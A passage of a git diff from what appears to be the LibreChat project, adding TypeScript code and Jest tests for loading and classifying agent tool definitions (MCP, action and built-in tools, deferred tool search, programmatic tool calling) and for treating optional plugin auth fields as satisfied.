has deferred tools + * + * @param params - Parameters including loaded tools, userId, agentId, agentToolOptions, and dependencies + * @returns Tool registry and any additional tools created + */ +export async function buildToolClassification( + params: BuildToolClassificationParams, +): Promise { + const { + userId, + agentId, + loadedTools, + agentToolOptions, + definitionsOnly = false, + deferredToolsEnabled = true, + loadAuthValues, + } = params; + const additionalTools: GenericTool[] = []; + + const mcpTools = loadedTools.filter(isMCPTool); + if (mcpTools.length === 0) { + return { + additionalTools, + toolDefinitions: [], + toolRegistry: undefined, + hasDeferredTools: false, + }; + } + + const mcpToolDefs = mcpTools.map(extractMCPToolDefinition); + const toolRegistry: LCToolRegistry = buildToolRegistry(mcpToolDefs, agentToolOptions); + + /** Clean up temporary mcpJsonSchema property from tools now that registry is populated */ + cleanupMCPToolSchemas(mcpTools); + + /** + * Check if this agent actually has tools configured for these features. + * Only enable PTC if the agent has programmatic tools. + * Only enable tool search if the agent has deferred tools AND the capability is enabled. + */ + const hasProgrammaticTools = agentHasProgrammaticTools(toolRegistry); + const hasDeferredTools = deferredToolsEnabled && agentHasDeferredTools(toolRegistry); + + /** Clear defer_loading if capability disabled */ + if (!deferredToolsEnabled) { + for (const toolDef of toolRegistry.values()) { + if (toolDef.defer_loading !== true) { + continue; + } + toolDef.defer_loading = false; + } + } + + /** Build toolDefinitions array from registry (single pass, reused) */ + const toolDefinitions: LCTool[] = Array.from(toolRegistry.values()); + + /** No programmatic or deferred tools - skip PTC/ToolSearch */ + if (!hasProgrammaticTools && !hasDeferredTools) { + logger.debug( + `[buildToolClassification] Agent ${agentId} has no programmatic or deferred tools, skipping PTC/ToolSearch`, + ); + return { toolRegistry, toolDefinitions, additionalTools, hasDeferredTools: false }; + } + + /** Tool search uses local mode (no API key needed) */ + if (hasDeferredTools) { + if (!definitionsOnly) { + const toolSearchTool = createToolSearch({ + mode: 'local', + toolRegistry, + }); + additionalTools.push(toolSearchTool); + } + + /** Add ToolSearch definition for event-driven mode */ + toolDefinitions.push({ + name: ToolSearchToolDefinition.name, + description: ToolSearchToolDefinition.description, + parameters: ToolSearchToolDefinition.schema as unknown as LCTool['parameters'], + }); + toolRegistry.set(ToolSearchToolDefinition.name, { + name: ToolSearchToolDefinition.name, + allowed_callers: ['direct'], + }); + + logger.debug(`[buildToolClassification] Tool Search enabled for agent ${agentId}`); + } + + /** PTC requires CODE_API_KEY for sandbox execution */ + if (!hasProgrammaticTools) { + return { toolRegistry, toolDefinitions, additionalTools, hasDeferredTools }; + } + + /** In definitions-only mode, add PTC definition without creating the tool instance */ + if (definitionsOnly) { + toolDefinitions.push({ + name: ProgrammaticToolCallingDefinition.name, + description: ProgrammaticToolCallingDefinition.description, + parameters: ProgrammaticToolCallingDefinition.schema as unknown as LCTool['parameters'], + }); + toolRegistry.set(ProgrammaticToolCallingDefinition.name, { + name: ProgrammaticToolCallingDefinition.name, + allowed_callers: ['direct'], + }); + logger.debug( + `[buildToolClassification] PTC definition added for agent ${agentId} (definitions only)`, + ); + return { toolRegistry, toolDefinitions, additionalTools, hasDeferredTools }; + } + + try { + const authValues = await loadAuthValues({ + userId, + authFields: [EnvVar.CODE_API_KEY], + }); + const codeApiKey = authValues[EnvVar.CODE_API_KEY]; + + if (!codeApiKey) { + logger.warn('[buildToolClassification] PTC configured but CODE_API_KEY not available'); + return { toolRegistry, toolDefinitions, additionalTools, hasDeferredTools }; + } + + const ptcTool = createProgrammaticToolCallingTool({ apiKey: codeApiKey }); + additionalTools.push(ptcTool); + + /** Add PTC definition for event-driven mode */ + toolDefinitions.push({ + name: ProgrammaticToolCallingDefinition.name, + description: ProgrammaticToolCallingDefinition.description, + parameters: ProgrammaticToolCallingDefinition.schema as unknown as LCTool['parameters'], + }); + toolRegistry.set(ProgrammaticToolCallingDefinition.name, { + name: ProgrammaticToolCallingDefinition.name, + allowed_callers: ['direct'], + }); + + logger.debug(`[buildToolClassification] PTC tool enabled for agent ${agentId}`); + } catch (error) { + logger.error('[buildToolClassification] Error creating PTC tool:', error); + } + + return { toolRegistry, toolDefinitions, additionalTools, hasDeferredTools }; +} diff --git a/packages/api/src/tools/definitions.spec.ts b/packages/api/src/tools/definitions.spec.ts new file mode 100644 index 0000000000..dc58327a2e --- /dev/null +++ b/packages/api/src/tools/definitions.spec.ts @@ -0,0 +1,620 @@ +import { loadToolDefinitions } from './definitions'; +import { toolkitExpansion, toolkitParent } from './toolkits/mapping'; +import { getToolDefinition } from './registry/definitions'; +import type { + LoadToolDefinitionsParams, + LoadToolDefinitionsDeps, + ActionToolDefinition, +} from './definitions'; + +describe('definitions.ts', () => { + const mockLoadAuthValues = jest.fn().mockResolvedValue({}); + const mockGetOrFetchMCPServerTools = jest.fn().mockResolvedValue(null); + const mockIsBuiltInTool = jest.fn().mockReturnValue(false); + + beforeEach(() => { + jest.clearAllMocks(); + }); + + describe('loadToolDefinitions', () => { + it('should return empty result for empty tools array', async () => { + const params: LoadToolDefinitionsParams = { + userId: 'user-123', + agentId: 'agent-123', + tools: [], + }; + + const deps: LoadToolDefinitionsDeps = { + getOrFetchMCPServerTools: mockGetOrFetchMCPServerTools, + isBuiltInTool: mockIsBuiltInTool, + loadAuthValues: mockLoadAuthValues, + }; + + const result = await loadToolDefinitions(params, deps); + + expect(result.toolDefinitions).toHaveLength(0); + expect(result.toolRegistry.size).toBe(0); + expect(result.hasDeferredTools).toBe(false); + }); + + describe('action tool definitions', () => { + it('should include parameters in action tool definitions', async () => { + const mockActionDefs: ActionToolDefinition[] = [ + { + name: 'getWeather_action_weather_com', + description: 'Get weather for a location', + parameters: { + type: 'object', + properties: { + latitude: { type: 'number', description: 'Latitude coordinate' }, + longitude: { type: 'number', description: 'Longitude coordinate' }, + }, + required: ['latitude', 'longitude'], + }, + }, + ]; + + const mockGetActionToolDefinitions = jest.fn().mockResolvedValue(mockActionDefs); + + const params: LoadToolDefinitionsParams = { + userId: 'user-123', + agentId: 'agent-123', + tools: ['getWeather_action_weather---com'], + }; + + const deps: LoadToolDefinitionsDeps = { + getOrFetchMCPServerTools: mockGetOrFetchMCPServerTools, + isBuiltInTool: mockIsBuiltInTool, + loadAuthValues: mockLoadAuthValues, + getActionToolDefinitions: mockGetActionToolDefinitions, + }; + + const result = await loadToolDefinitions(params, deps); + + expect(mockGetActionToolDefinitions).toHaveBeenCalledWith('agent-123', [ + 'getWeather_action_weather---com', + ]); + + const actionDef = result.toolDefinitions.find( + (d) => d.name === 'getWeather_action_weather_com', + ); + expect(actionDef).toBeDefined(); + expect(actionDef?.parameters).toBeDefined(); + expect(actionDef?.parameters?.type).toBe('object'); + expect(actionDef?.parameters?.properties).toHaveProperty('latitude'); + expect(actionDef?.parameters?.properties).toHaveProperty('longitude'); + expect(actionDef?.parameters?.required).toContain('latitude'); + expect(actionDef?.parameters?.required).toContain('longitude'); + }); + + it('should handle action definitions without parameters', async () => { + const mockActionDefs: ActionToolDefinition[] = [ + { + name: 'listItems_action_api_example_com', + description: 'List all items', + }, + ]; + + const mockGetActionToolDefinitions = jest.fn().mockResolvedValue(mockActionDefs); + + const params: LoadToolDefinitionsParams = { + userId: 'user-123', + agentId: 'agent-123', + tools: ['listItems_action_api---example---com'], + }; + + const deps: LoadToolDefinitionsDeps = { + getOrFetchMCPServerTools: mockGetOrFetchMCPServerTools, + isBuiltInTool: mockIsBuiltInTool, + loadAuthValues: mockLoadAuthValues, + getActionToolDefinitions: mockGetActionToolDefinitions, + }; + + const result = await loadToolDefinitions(params, deps); + + const actionDef = result.toolDefinitions.find( + (d) => d.name === 'listItems_action_api_example_com', + ); + expect(actionDef).toBeDefined(); + expect(actionDef?.parameters).toBeUndefined(); + }); + + it('should not call getActionToolDefinitions when no action tools present', async () => { + const mockGetActionToolDefinitions = jest.fn(); + mockIsBuiltInTool.mockReturnValue(true); + + const params: LoadToolDefinitionsParams = { + userId: 'user-123', + agentId: 'agent-123', + tools: ['calculator', 'web_search'], + }; + + const deps: LoadToolDefinitionsDeps = { + getOrFetchMCPServerTools: mockGetOrFetchMCPServerTools, + isBuiltInTool: mockIsBuiltInTool, + loadAuthValues: mockLoadAuthValues, + getActionToolDefinitions: mockGetActionToolDefinitions, + }; + + await loadToolDefinitions(params, deps); + + expect(mockGetActionToolDefinitions).not.toHaveBeenCalled(); + }); + }); + + describe('built-in tool definitions', () => { + it('should include parameters for known built-in tools', async () => { + mockIsBuiltInTool.mockImplementation((name) => name === 'calculator'); + + const params: LoadToolDefinitionsParams = { + userId: 'user-123', + agentId: 'agent-123', + tools: ['calculator'], + }; + + const deps: LoadToolDefinitionsDeps = { + getOrFetchMCPServerTools: mockGetOrFetchMCPServerTools, + isBuiltInTool: mockIsBuiltInTool, + loadAuthValues: mockLoadAuthValues, + }; + + const result = await loadToolDefinitions(params, deps); + + const calcDef = result.toolDefinitions.find((d) => d.name === 'calculator'); + expect(calcDef).toBeDefined(); + expect(calcDef?.parameters).toBeDefined(); + }); + + it('should include parameters for execute_code native tool', async () => { + mockIsBuiltInTool.mockImplementation((name) => name === 'execute_code'); + + const params: LoadToolDefinitionsParams = { + userId: 'user-123', + agentId: 'agent-123', + tools: ['execute_code'], + }; + + const deps: LoadToolDefinitionsDeps = { + getOrFetchMCPServerTools: mockGetOrFetchMCPServerTools, + isBuiltInTool: mockIsBuiltInTool, + loadAuthValues: mockLoadAuthValues, + }; + + const result = await loadToolDefinitions(params, deps); + + const execCodeDef = result.toolDefinitions.find((d) => d.name === 'execute_code'); + expect(execCodeDef).toBeDefined(); + expect(execCodeDef?.parameters).toBeDefined(); + expect(execCodeDef?.parameters?.properties).toHaveProperty('lang'); + expect(execCodeDef?.parameters?.properties).toHaveProperty('code'); + expect(execCodeDef?.parameters?.required).toContain('lang'); + expect(execCodeDef?.parameters?.required).toContain('code'); + }); + + it('should include parameters for web_search native tool', async () => { + mockIsBuiltInTool.mockImplementation((name) => name === 'web_search'); + + const params: LoadToolDefinitionsParams = { + userId: 'user-123', + agentId: 'agent-123', + tools: ['web_search'], + }; + + const deps: LoadToolDefinitionsDeps = { + getOrFetchMCPServerTools: mockGetOrFetchMCPServerTools, + isBuiltInTool: mockIsBuiltInTool, + loadAuthValues: mockLoadAuthValues, + }; + + const result = await loadToolDefinitions(params, deps); + + const webSearchDef = result.toolDefinitions.find((d) => d.name === 'web_search'); + expect(webSearchDef).toBeDefined(); + expect(webSearchDef?.parameters).toBeDefined(); + expect(webSearchDef?.parameters?.properties).toHaveProperty('query'); + expect(webSearchDef?.parameters?.required).toContain('query'); + }); + + it('should include parameters for file_search native tool', async () => { + mockIsBuiltInTool.mockImplementation((name) => name === 'file_search'); + + const params: LoadToolDefinitionsParams = { + userId: 'user-123', + agentId: 'agent-123', + tools: ['file_search'], + }; + + const deps: LoadToolDefinitionsDeps = { + getOrFetchMCPServerTools: mockGetOrFetchMCPServerTools, + isBuiltInTool: mockIsBuiltInTool, + loadAuthValues: mockLoadAuthValues, + }; + + const result = await loadToolDefinitions(params, deps); + + const fileSearchDef = result.toolDefinitions.find((d) => d.name === 'file_search'); + expect(fileSearchDef).toBeDefined(); + expect(fileSearchDef?.parameters).toBeDefined(); + expect(fileSearchDef?.parameters?.properties).toHaveProperty('query'); + expect(fileSearchDef?.parameters?.required).toContain('query'); + }); + + it('should skip built-in tools without registry definitions', async () => { + mockIsBuiltInTool.mockImplementation((name) => name === 'unknown_tool'); + + const params: LoadToolDefinitionsParams = { + userId: 'user-123', + agentId: 'agent-123', + tools: ['unknown_tool'], + }; + + const deps: LoadToolDefinitionsDeps = { + getOrFetchMCPServerTools: mockGetOrFetchMCPServerTools, + isBuiltInTool: mockIsBuiltInTool, + loadAuthValues: mockLoadAuthValues, + }; + + const result = await loadToolDefinitions(params, deps); + + const unknownDef = result.toolDefinitions.find((d) => d.name === 'unknown_tool'); + expect(unknownDef).toBeUndefined(); + expect(result.toolRegistry.has('unknown_tool')).toBe(false); + }); + + it('should include description and parameters in registry for built-in tools', async () => { + mockIsBuiltInTool.mockImplementation((name) => name === 'calculator'); + + const params: LoadToolDefinitionsParams = { + userId: 'user-123', + agentId: 'agent-123', + tools: ['calculator'], + }; + + const deps: LoadToolDefinitionsDeps = { + getOrFetchMCPServerTools: mockGetOrFetchMCPServerTools, + isBuiltInTool: mockIsBuiltInTool, + loadAuthValues: mockLoadAuthValues, + }; + + const result = await loadToolDefinitions(params, deps); + + const registryEntry = result.toolRegistry.get('calculator'); + expect(registryEntry).toBeDefined(); + expect(registryEntry?.description).toBeDefined(); + expect(registryEntry?.parameters).toBeDefined(); + expect(registryEntry?.allowed_callers).toContain('direct'); + }); + }); + + describe('MCP tool definitions with server name variants', () => { + it('should load MCP tools with underscored server names (server_one)', async () => { + const mockServerTools = { + list_items_mcp_server_one: { + function: { + name: 'list_items_mcp_server_one', + description: 'List all items from server', + parameters: { + type: 'object', + properties: { + limit: { type: 'number', description: 'Max items to return' }, + }, + }, + }, + }, + get_item_mcp_server_one: { + function: { + name: 'get_item_mcp_server_one', + description: 'Get a specific item', + parameters: { + type: 'object', + properties: { + id: { type: 'string', description: 'Item ID' }, + }, + required: ['id'], + }, + }, + }, + }; + + mockGetOrFetchMCPServerTools.mockResolvedValue(mockServerTools); + + const params: LoadToolDefinitionsParams = { + userId: 'user-123', + agentId: 'agent-123', + tools: ['sys__all__sys_mcp_server_one'], + }; + + const deps: LoadToolDefinitionsDeps = { + getOrFetchMCPServerTools: mockGetOrFetchMCPServerTools, + isBuiltInTool: mockIsBuiltInTool, + loadAuthValues: mockLoadAuthValues, + }; + + const result = await loadToolDefinitions(params, deps); + + expect(mockGetOrFetchMCPServerTools).toHaveBeenCalledWith('user-123', 'server_one'); + expect(result.toolDefinitions).toHaveLength(2); + + const listItemsDef = result.toolDefinitions.find( + (d) => d.name === 'list_items_mcp_server_one', + ); + expect(listItemsDef).toBeDefined(); + expect(listItemsDef?.description).toBe('List all items from server'); + + const getItemDef = result.toolDefinitions.find((d) => d.name === 'get_item_mcp_server_one'); + expect(getItemDef).toBeDefined(); + expect(getItemDef?.description).toBe('Get a specific item'); + }); + + it('should load MCP tools with hyphenated server names (server-one)', async () => { + const mockServerTools = { + 'list_items_mcp_server-one': { + function: { + name: 'list_items_mcp_server-one', + description: 'List all items from server', + parameters: { + type: 'object', + properties: { + limit: { type: 'number', description: 'Max items to return' }, + }, + }, + }, + }, + 'get_item_mcp_server-one': { + function: { + name: 'get_item_mcp_server-one', + description: 'Get a specific item', + parameters: { + type: 'object', + properties: { + id: { type: 'string', description: 'Item ID' }, + }, + required: ['id'], + }, + }, + }, + }; + + mockGetOrFetchMCPServerTools.mockResolvedValue(mockServerTools); + + const params: LoadToolDefinitionsParams = { + userId: 'user-123', + agentId: 'agent-123', + tools: ['sys__all__sys_mcp_server-one'], + }; + + const deps: LoadToolDefinitionsDeps = { + getOrFetchMCPServerTools: mockGetOrFetchMCPServerTools, + isBuiltInTool: mockIsBuiltInTool, + loadAuthValues: mockLoadAuthValues, + }; + + const result = await loadToolDefinitions(params, deps); + + expect(mockGetOrFetchMCPServerTools).toHaveBeenCalledWith('user-123', 'server-one'); + expect(result.toolDefinitions).toHaveLength(2); + + const listItemsDef = result.toolDefinitions.find( + (d) => d.name === 'list_items_mcp_server-one', + ); + expect(listItemsDef).toBeDefined(); + expect(listItemsDef?.description).toBe('List all items from server'); + + const getItemDef = result.toolDefinitions.find((d) => d.name === 'get_item_mcp_server-one'); + expect(getItemDef).toBeDefined(); + expect(getItemDef?.description).toBe('Get a specific item'); + }); + + it('should handle individual MCP tool lookup with hyphenated server name', async () => { + const mockServerTools = { + 'list_items_mcp_server-one': { + function: { + name: 'list_items_mcp_server-one', + description: 'List all items from server', + parameters: { + type: 'object', + properties: {}, + }, + }, + }, + }; + + mockGetOrFetchMCPServerTools.mockResolvedValue(mockServerTools); + + const params: LoadToolDefinitionsParams = { + userId: 'user-123', + agentId: 'agent-123', + tools: ['list_items_mcp_server-one'], + }; + + const deps: LoadToolDefinitionsDeps = { + getOrFetchMCPServerTools: mockGetOrFetchMCPServerTools, + isBuiltInTool: mockIsBuiltInTool, + loadAuthValues: mockLoadAuthValues, + }; + + const result = await loadToolDefinitions(params, deps); + + expect(mockGetOrFetchMCPServerTools).toHaveBeenCalledWith('user-123', 'server-one'); + expect(result.toolDefinitions).toHaveLength(1); + expect(result.toolDefinitions[0].name).toBe('list_items_mcp_server-one'); + }); + + it('should include hyphenated server name tools in registry with correct serverName', async () => { + const mockServerTools = { + 'list_items_mcp_my-server': { + function: { + name: 'list_items_mcp_my-server', + description: 'List items', + parameters: { type: 'object', properties: {} }, + }, + }, + }; + + mockGetOrFetchMCPServerTools.mockResolvedValue(mockServerTools); + + const params: LoadToolDefinitionsParams = { + userId: 'user-123', + agentId: 'agent-123', + tools: ['sys__all__sys_mcp_my-server'], + }; + + const deps: LoadToolDefinitionsDeps = { + getOrFetchMCPServerTools: mockGetOrFetchMCPServerTools, + isBuiltInTool: mockIsBuiltInTool, + loadAuthValues: mockLoadAuthValues, + }; + + const result = await loadToolDefinitions(params, deps); + + expect(result.toolDefinitions).toHaveLength(1); + expect(result.toolRegistry.size).toBeGreaterThan(0); + + const toolDef = result.toolDefinitions[0]; + expect(toolDef.name).toBe('list_items_mcp_my-server'); + expect((toolDef as { serverName?: string }).serverName).toBe('my-server'); + }); + }); + + describe('toolkit expansion', () => { + it('should expand image_gen_oai to include image_edit_oai', async () => { + mockIsBuiltInTool.mockImplementation((name) => name === 'image_gen_oai'); + + const params: LoadToolDefinitionsParams = { + userId: 'user-123', + agentId: 'agent-123', + tools: ['image_gen_oai'], + }; + + const deps: LoadToolDefinitionsDeps = { + getOrFetchMCPServerTools: mockGetOrFetchMCPServerTools, + isBuiltInTool: mockIsBuiltInTool, + loadAuthValues: mockLoadAuthValues, + }; + + const result = await loadToolDefinitions(params, deps); + + const genDef = result.toolDefinitions.find((d) => d.name === 'image_gen_oai'); + const editDef = result.toolDefinitions.find((d) => d.name === 'image_edit_oai'); + expect(genDef).toBeDefined(); + expect(editDef).toBeDefined(); + expect(editDef?.parameters).toBeDefined(); + expect(result.toolRegistry.has('image_gen_oai')).toBe(true); + expect(result.toolRegistry.has('image_edit_oai')).toBe(true); + }); + + it('should not duplicate image_edit_oai when toolkit is the only tool', async () => { + mockIsBuiltInTool.mockImplementation((name) => name === 'image_gen_oai'); + + const params: LoadToolDefinitionsParams = { + userId: 'user-123', + agentId: 'agent-123', + tools: ['image_gen_oai'], + }; + + const deps: LoadToolDefinitionsDeps = { + getOrFetchMCPServerTools: mockGetOrFetchMCPServerTools, + isBuiltInTool: mockIsBuiltInTool, + loadAuthValues: mockLoadAuthValues, + }; + + const result = await loadToolDefinitions(params, deps); + + const editDefs = result.toolDefinitions.filter((d) => d.name === 'image_edit_oai'); + expect(editDefs).toHaveLength(1); + }); + }); + + describe('toolkit mapping invariants', () => { + it('toolkitParent should be the inverse of toolkitExpansion', () => { + expect(toolkitParent['image_edit_oai']).toBe('image_gen_oai'); + const parentKeys = Object.keys(toolkitParent).sort(); + const expansionChildren = Object.values(toolkitExpansion).flat().sort(); + expect(parentKeys).toEqual(expansionChildren); + }); + + it('every toolkitExpansion entry should reference existing tool definitions', () => { + for (const [parent, children] of Object.entries(toolkitExpansion)) { + expect(getToolDefinition(parent)).toBeDefined(); + for (const child of children) { + expect(getToolDefinition(child)).toBeDefined(); + } + } + }); + }); + + describe('tool registry metadata', () => { + it('should include description and parameters in registry for action tools', async () => { + const mockActionDefs: ActionToolDefinition[] = [ + { + name: 'getWeather_action_weather_com', + description: 'Get weather for a location', + parameters: { + type: 'object', + properties: { + city: { type: 'string', description: 'City name' }, + }, + required: ['city'], + }, + }, + ]; + + const mockGetActionToolDefinitions = jest.fn().mockResolvedValue(mockActionDefs); + + const params: LoadToolDefinitionsParams = { + userId: 'user-123', + agentId: 'agent-123', + tools: ['getWeather_action_weather---com'], + }; + + const deps: LoadToolDefinitionsDeps = { + getOrFetchMCPServerTools: mockGetOrFetchMCPServerTools, + isBuiltInTool: mockIsBuiltInTool, + loadAuthValues: mockLoadAuthValues, + getActionToolDefinitions: mockGetActionToolDefinitions, + }; + + const result = await loadToolDefinitions(params, deps); + + const registryEntry = result.toolRegistry.get('getWeather_action_weather_com'); + expect(registryEntry).toBeDefined(); + expect(registryEntry?.description).toBe('Get weather for a location'); + expect(registryEntry?.parameters).toBeDefined(); + expect(registryEntry?.parameters?.properties).toHaveProperty('city'); + expect(registryEntry?.allowed_callers).toContain('direct'); + }); + + it('should handle action tools without parameters in registry', async () => { + const mockActionDefs: ActionToolDefinition[] = [ + { + name: 'ping_action_api_com', + description: 'Ping the API', + }, + ]; + + const mockGetActionToolDefinitions = jest.fn().mockResolvedValue(mockActionDefs); + + const params: LoadToolDefinitionsParams = { + userId: 'user-123', + agentId: 'agent-123', + tools: ['ping_action_api---com'], + }; + + const deps: LoadToolDefinitionsDeps = { + getOrFetchMCPServerTools: mockGetOrFetchMCPServerTools, + isBuiltInTool: mockIsBuiltInTool, + loadAuthValues: mockLoadAuthValues, + getActionToolDefinitions: mockGetActionToolDefinitions, + }; + + const result = await loadToolDefinitions(params, deps); + + const registryEntry = result.toolRegistry.get('ping_action_api_com'); + expect(registryEntry).toBeDefined(); + expect(registryEntry?.description).toBe('Ping the API'); + expect(registryEntry?.parameters).toBeUndefined(); + expect(registryEntry?.allowed_callers).toContain('direct'); + }); + }); + }); +}); diff --git a/packages/api/src/tools/definitions.ts b/packages/api/src/tools/definitions.ts new file mode 100644 index 0000000000..1598baee70 --- /dev/null +++ b/packages/api/src/tools/definitions.ts @@ -0,0 +1,241 @@ +/** + * @fileoverview Tool definitions loader for event-driven mode. + * Loads tool definitions without creating tool instances for efficient initialization. + * + * @module packages/api/src/tools/definitions + */ + +import { Constants, actionDelimiter } from 'librechat-data-provider'; +import type { AgentToolOptions } from 'librechat-data-provider'; +import type { LCToolRegistry, JsonSchemaType, LCTool, GenericTool } from '@librechat/agents'; +import type { ToolDefinition } from './classification'; +import { resolveJsonSchemaRefs, normalizeJsonSchema } from '~/mcp/zod'; +import { buildToolClassification } from './classification'; +import { getToolDefinition } from './registry/definitions'; +import { toolkitExpansion } from './toolkits/mapping'; + +export interface MCPServerTool { + function?: { + name?: string; + description?: string; + parameters?: JsonSchemaType; + }; +} + +export type MCPServerTools = Record; + +export interface LoadToolDefinitionsParams { + /** User ID for MCP server tool lookup */ + userId: string; + /** Agent ID for tool classification */ + agentId: string; + /** Agent's tool list (tool names/identifiers) */ + tools: string[]; + /** Agent-specific tool options */ + toolOptions?: AgentToolOptions; + /** Whether deferred tools feature is enabled */ + deferredToolsEnabled?: boolean; +} + +export interface ActionToolDefinition { + name: string; + description?: string; + parameters?: JsonSchemaType; +} + +export interface LoadToolDefinitionsDeps { + /** Gets MCP server tools - first checks cache, then initializes server if needed */ + getOrFetchMCPServerTools: (userId: string, serverName: string) => Promise; + /** Checks if a tool name is a known built-in tool */ + isBuiltInTool: (toolName: string) => boolean; + /** Loads auth values for tool search (passed to buildToolClassification) */ + loadAuthValues: (params: { + userId: string; + authFields: string[]; + }) => Promise>; + /** Loads action tool definitions (schemas) from OpenAPI specs */ + getActionToolDefinitions?: ( + agentId: string, + actionToolNames: string[], + ) => Promise; +} + +export interface LoadToolDefinitionsResult { + toolDefinitions: (ToolDefinition | LCTool)[]; + toolRegistry: LCToolRegistry; + hasDeferredTools: boolean; +} + +const mcpToolPattern = /_mcp_/; + +/** + * Loads tool definitions without creating tool instances. + * This is the efficient path for event-driven mode where tools are loaded on-demand. + */ +export async function loadToolDefinitions( + params: LoadToolDefinitionsParams, + deps: LoadToolDefinitionsDeps, +): Promise { + const { userId, agentId, tools, toolOptions = {}, deferredToolsEnabled = false } = params; + const { getOrFetchMCPServerTools, isBuiltInTool, loadAuthValues, getActionToolDefinitions } = + deps; + + const emptyResult: LoadToolDefinitionsResult = { + toolDefinitions: [], + toolRegistry: new Map(), + hasDeferredTools: false, + }; + + if (!tools || tools.length === 0) { + return emptyResult; + } + + const mcpServerToolsCache = new Map(); + const mcpToolDefs: ToolDefinition[] = []; + const builtInToolDefs: ToolDefinition[] = []; + let actionToolDefs: ToolDefinition[] = []; + const actionToolNames: string[] = []; + + const mcpAllPattern = `${Constants.mcp_all}${Constants.mcp_delimiter}`; + + for (const toolName of tools) { + if (toolName.includes(actionDelimiter)) { + actionToolNames.push(toolName); + continue; + } + + if (!mcpToolPattern.test(toolName)) { + if (!isBuiltInTool(toolName)) { + continue; + } + const registryDef = getToolDefinition(toolName); + if (!registryDef) { + continue; + } + builtInToolDefs.push({ + name: toolName, + description: registryDef.description, + parameters: registryDef.schema as JsonSchemaType | undefined, + }); + + const extraTools = toolkitExpansion[toolName as keyof typeof toolkitExpansion]; + if (extraTools) { + for (const extra of extraTools) { + const extraDef = getToolDefinition(extra); + if (extraDef) { + builtInToolDefs.push({ + name: extra, + description: extraDef.description, + parameters: extraDef.schema as JsonSchemaType | undefined, + }); + } + } + } + continue; + } + + const parts = toolName.split(Constants.mcp_delimiter); + const serverName = parts[parts.length - 1]; + + if (!mcpServerToolsCache.has(serverName)) { + const serverTools = await getOrFetchMCPServerTools(userId, serverName); + mcpServerToolsCache.set(serverName, serverTools || {}); + } + + const serverTools = mcpServerToolsCache.get(serverName); + if (!serverTools) { + continue; + } + + if (toolName.startsWith(mcpAllPattern)) { + for (const [actualToolName, toolDef] of Object.entries(serverTools)) { + if (toolDef?.function) { + mcpToolDefs.push({ + name: actualToolName, + description: toolDef.function.description, + parameters: toolDef.function.parameters + ? normalizeJsonSchema(resolveJsonSchemaRefs(toolDef.function.parameters)) + : undefined, + serverName, + }); + } + } + continue; + } + + const toolDef = serverTools[toolName]; + if (toolDef?.function) { + mcpToolDefs.push({ + name: toolName, + description: toolDef.function.description, + parameters: toolDef.function.parameters + ? normalizeJsonSchema(resolveJsonSchemaRefs(toolDef.function.parameters)) + : undefined, + serverName, + }); + } + } + + if (actionToolNames.length > 0 && getActionToolDefinitions) { + const fetchedActionDefs = await getActionToolDefinitions(agentId, actionToolNames); + actionToolDefs = fetchedActionDefs.map((def) => ({ + name: def.name, + description: def.description, + parameters: def.parameters, + })); + } + + const loadedTools = mcpToolDefs.map((def) => ({ + name: def.name, + description: def.description, + mcp: true as const, + mcpJsonSchema: def.parameters, + })) as unknown as GenericTool[]; + + const classificationResult = await buildToolClassification({ + userId, + agentId, + loadedTools, + loadAuthValues, + deferredToolsEnabled, + definitionsOnly: true, + agentToolOptions: toolOptions, + }); + + const { toolDefinitions, hasDeferredTools } = classificationResult; + const toolRegistry: LCToolRegistry = classificationResult.toolRegistry ?? new Map(); + + for (const actionDef of actionToolDefs) { + if (!toolRegistry.has(actionDef.name)) { + toolRegistry.set(actionDef.name, { + name: actionDef.name, + description: actionDef.description, + parameters: actionDef.parameters, + allowed_callers: ['direct'], + }); + } + } + + for (const builtInDef of builtInToolDefs) { + if (!toolRegistry.has(builtInDef.name)) { + toolRegistry.set(builtInDef.name, { + name: builtInDef.name, + description: builtInDef.description, + parameters: builtInDef.parameters, + allowed_callers: ['direct'], + }); + } + } + + const allDefinitions: (ToolDefinition | LCTool)[] = [ + ...toolDefinitions, + ...actionToolDefs.filter((d) => !toolDefinitions.some((td) => td.name === d.name)), + ...builtInToolDefs.filter((d) => !toolDefinitions.some((td) => td.name === d.name)), + ]; + + return { + toolDefinitions: allDefinitions, + toolRegistry, + hasDeferredTools, + }; +} diff --git a/packages/api/src/tools/format.spec.ts b/packages/api/src/tools/format.spec.ts index 2119cd724d..68a32090e9 100644 --- a/packages/api/src/tools/format.spec.ts +++ b/packages/api/src/tools/format.spec.ts @@ -189,6 +189,77 @@ describe('format.ts helper functions', () => { const result = checkPluginAuth(plugin); expect(result).toBe(true); }); + + it('should return true when auth field is marked as optional with no env vars', () => { + const plugin: TPlugin = { + name: 'Test', + pluginKey: 'test', + description: 'Test plugin', + authConfig: [ + { authField: 'MISSING_KEY', label: 'API Key', description: 'API Key', optional: true }, + ], + }; + + const result = checkPluginAuth(plugin); + expect(result).toBe(true); + }); + + it('should return true when all auth fields are optional', () => { + const plugin: TPlugin = { + name: 'Test', + pluginKey: 'test', + description: 'Test plugin', + authConfig: [ + { authField: 'MISSING_KEY_A', label: 'Key A', description: 'Key A', optional: true }, + { authField: 'MISSING_KEY_B', label: 'Key B', description: 'Key B', optional: true }, + ], + }; + + const result = checkPluginAuth(plugin); + expect(result).toBe(true); + }); + + it('should return false when required field is missing even if optional field exists', () => { + const plugin: TPlugin = { + name: 'Test', + pluginKey: 'test', + description: 'Test plugin', + authConfig: [ + { authField: 'MISSING_KEY', label: 'Required Key', description: 'Required' }, + { + authField: 'OPTIONAL_KEY', + label: 'Optional Key', + description: 'Optional', + optional: true, + }, + ], + }; + + const result = checkPluginAuth(plugin); + expect(result).toBe(false); + }); + + it('should return true when optional field has no env var but required field is satisfied', () => { + process.env.REQUIRED_KEY = 'valid-key'; + + const plugin: TPlugin = { + name: 'Test', + pluginKey: 'test', + description: 'Test plugin', + authConfig: [ + { authField: 'REQUIRED_KEY', label: 'Required Key', description: 'Required' }, + { + authField: 'OPTIONAL_KEY', + label: 'Optional Key', + description: 'Optional', + optional: true, + }, + ], + }; + + const result = checkPluginAuth(plugin); + expect(result).toBe(true); + }); }); describe('getToolkitKey', () => { diff --git a/packages/api/src/tools/format.ts b/packages/api/src/tools/format.ts index 2525743ff2..feab29461e 100644 --- a/packages/api/src/tools/format.ts +++ b/packages/api/src/tools/format.ts @@ -31,6 +31,10 @@ export const checkPluginAuth = (plugin?: TPlugin): boolean => { } return plugin.authConfig.every((authFieldObj) => { + if (authFieldObj.optional === true) { + return true; + } + const authFieldOptions = authFieldObj.authField.split('||'); let isFieldAuthenticated = false; 